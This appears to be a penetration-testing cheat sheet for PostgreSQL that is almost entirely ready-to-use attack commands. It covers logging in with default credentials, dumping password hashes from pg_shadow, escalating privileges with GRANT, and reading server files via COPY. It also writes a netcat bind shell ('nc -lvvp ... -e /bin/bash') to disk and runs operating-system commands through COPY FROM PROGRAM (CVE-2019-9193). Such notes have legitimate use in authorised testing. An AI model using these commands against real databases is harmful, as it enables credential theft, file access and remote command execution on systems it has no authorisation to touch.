Connecting
Default username is postgres with no password. Check more commands here: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md
Querying / Exploiting
To list version: SELECT version()
Show the current user: SELECT user;
Concatenating - put 2 together: concat(name1,':',name2)
Show password hashes for all users: SELECT usename, passwd FROM pg_shadow
Check if you are superuser (either works):
SHOW is_superuser;
SELECT current_setting('is_superuser');
If you are not superuser, but has CREATEROLE, can make yourself one: GRANT pg_read_server_files TO username;
Show all databases:
select schema_name from information_schema.schemata;
Show the table name:
select concat(schemaname,':',tablename) FROM pg_catalog.pg_tables WHERE schemaname != 'pg_catalog' AND schemaname != 'information_schema';
List tables from all schemas: \dt *.*
Show the column name if table name is mytable:
SELECT column_name FROM information_schema.columns where table_name = 'users';
Finally select object use
select columnname from database.table;
If you have direct DB access (via psql
, usually through account postgres), can use the following:
\list
to list database
\c
database name to use the database
\d
to list the tables
To read file when you have direct DB access, use the following:
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
File write:
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
Or one liner write:
COPY (SELECT 'nc -lvvp 2346 -e /bin/bash') TO '/tmp/pentestlab';
Command execution (CVE-2019-9193) line 1 and 5 optional. line 4 view results, can run line 3 and 4 repeatedly to execute different commands):
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'whoami';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;